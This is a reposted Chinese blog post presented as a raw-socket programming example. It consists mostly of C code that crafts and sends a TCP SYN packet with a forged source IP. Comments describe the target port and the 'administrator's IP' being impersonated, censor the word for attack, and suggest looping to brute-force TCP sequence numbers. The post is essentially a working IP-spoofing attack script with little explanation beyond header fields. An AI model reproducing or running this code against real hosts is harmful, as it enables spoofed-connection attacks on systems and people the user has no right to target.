原始套接字编程实例

￡神魔★判官ぃ 2022-10-02 02:51 160阅读 0赞

原始套接字编程实例

\#include <stdlib.h>  
\#include <stdio.h>  
\#include <errno.h>  
\#include <string.h>  
\#include <unistd.h>  
\#include <netdb.h>  
\#include <sys/socket.h>  
\#include <netinet/in.h>  
\#include <sys/types.h>  
\#include <arpa/inet.h>  
\#include <netinet/ip.h>  
//\#include <linux/ip.h>  
\#include <linux/tcp.h>  
\#define DESTPORT 80 /\* 要\*\*\*的端口 \*/  
\#define LOCALPORT 8888 /\*管理员打开的端口\*/  
void send\_tcp(int sockfd,struct sockaddr\_in \*addr);  
unsigned short check\_sum(unsigned short \*addr,int len);  
int main(int argc,char \*\*argv)  
\{  
int sockfd;  
struct sockaddr\_in addr;  
struct hostent \*host;  
int on=1;  
if(argc!=2)\{  
fprintf(stderr,"Usage:%s hostname\\n\\a",argv\[0\]);  
exit(1);  
\}  
bzero(&addr,sizeof(struct sockaddr\_in));  
addr.sin\_family=AF\_INET;  
addr.sin\_port=htons(DESTPORT);  
  
if(inet\_aton(argv\[1\],&addr.sin\_addr)==0)\{  
host=gethostbyname(argv\[1\]);  
if(host==NULL) \{  
fprintf(stderr,"HostName Error:%s\\n\\a",hstrerror(h\_errno));  
exit(1);  
\}  
addr.sin\_addr=\*(struct in\_addr \*)(host->h\_addr\_list\[0\]);  
\}  
  
  
/\*\*\*\* 使用IPPROTO\_TCP创建一个TCP的原始套接字 \*\*\*\*/  
sockfd=socket(AF\_INET,SOCK\_RAW,IPPROTO\_TCP);  
if(sockfd<0)\{  
fprintf(stderr,"Socket Error:%s\\n\\a",strerror(errno));  
exit(1);  
\}  
  
/\*\*\*\*\*\*\*\* 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 \*\*\*/  
  
setsockopt(sockfd,IPPROTO\_IP,IP\_HDRINCL,&on,sizeof(on));  
  
/\*\*\*\* 没有办法,只用超级护用户才可以使用原始套接字 \*\*\*\*\*\*\*\*\*/  
  
setuid(getpid());  
  
  
/\*\*\*\*\*\*\*\*\* 发送×××了!!!! \*\*\*\*/  
  
send\_tcp(sockfd,&addr);  
  
\}  
  
  
/\*\*\*\*\*\*\* 发送×××的实现 \*\*\*\*\*\*\*\*\*/  
void send\_tcp(int sockfd,struct sockaddr\_in \*addr)  
\{  
  
char buffer\[100\];  
  
/\*\*\*\* 用来放置我们的数据包 \*\*\*\*/  
  
struct ip \*ip;  
struct tcphdr \*tcp;  
int head\_len;  
  
/\*\*\*\*\*\*\* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 \*\*\*/  
  
head\_len=sizeof(struct ip)+sizeof(struct tcphdr);  
bzero(buffer,100);  
  
/\*\*\*\*\*\*\*\* 填充IP数据包的头部,还记得IP的头格式吗? \*\*\*\*\*\*/  
  
ip=(struct ip\*)buffer;  
  
ip->ip\_v=4; /\*\* IPVERSION版本一般的是 4 \*\*/  
ip->ip\_hl=sizeof(struct ip)>>2; /\*\* IP数据包的头部长度 \*\*/  
ip->ip\_tos=0; /\*\* 服务类型 \*\*/  
ip->ip\_len=htons(head\_len); /\*\* IP数据包的长度 \*\*/  
ip->ip\_id=0; /\*\* 让系统去填写吧 \*\*/  
ip->ip\_off=0; /\*\* 和上面一样,省点时间 \*\*/  
ip->ip\_ttl=255; /\*\*MAXTTL 最长的时间 255 \*\*/  
ip->ip\_p=IPPROTO\_TCP; /\*\* 我们要发的是 TCP包 \*\*/  
ip->ip\_sum=0; /\*\* 校验和让系统去做 \*\*/  
ip->ip\_dst=addr->sin\_addr; /\*\* 我们\*\*\*的对象 \*\*/  
  
/\*\*\*\*\*\*\* 开始填写TCP数据包 \*\*\*\*\*/  
tcp=(struct tcphdr \*)(buffer +sizeof(struct ip));  
tcp->source=htons(LOCALPORT);  
tcp->dest=addr->sin\_port; /\*\* 目的端口 \*\*/  
tcp->seq=random();//这里就是seq的数值了。  
tcp->ack\_seq=0;//这里是ack\_seq  
tcp->doff=5;  
tcp->syn=1;  
/\*\* 我要建立连接 \*\*/  
tcp->check=0;//这里可以用while之类的循环来达到穷举seq的目的。  
ip->ip\_src.s\_addr=inet\_addr("192.168.1.200");//这里是管理员的IP  
/\*\* 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧,节约时间的话把校验合去掉 \*/  
tcp->check=check\_sum((unsigned short \*)tcp,sizeof(struct tcphdr));  
//sendto(sockfd,buffer,head\_len,0,(const struct sockaddr \*)addr, sizeof(struct sockaddr\_in));  
sendto(sockfd,buffer,head\_len,0,(const struct sockaddr \*)addr, sizeof(struct sockaddr\_in));  
\}  
  
unsigned short check\_sum(unsigned short \*addr,int len)  
\{  
register int nleft=len;  
register int sum=0;  
register short \*w=addr;  
short answer=0;  
while(nleft>1)\{  
sum+=\*w++; nleft-=2;  
\}  
if(nleft==1)  
\{  
\*(unsigned char \*)(&answer)=\*(unsigned char \*)w;  
sum+=answer;  
\}  
sum=(sum>>16)+(sum&0xffff);  
sum+=(sum>>16);  
answer=~sum;  
return(answer);  
  
\}

/\*  
  
hostent的定义如下：  
struct hostent \{  
char \*h\_name;  
char \*\*h\_aliases;  
int h\_addrtype;  
int h\_length;  
char \*\*h\_addr\_list;  
\#define h\_addr h\_addr\_list\[0\]  
\};  
struct hostent  
h\_name – 地址的正式名称。  
h\_aliases – 空字节-地址的预备名称的指针。  
h\_addrtype –地址类型; 通常是AF\_INET。  
h\_length – 地址的比特长度。  
h\_addr\_list – 零字节-主机网络地址指针。网络字节顺序。  
h\_addr - h\_addr\_list中的第一地址。

转载于:https://blog.51cto.com/wolfword/1225370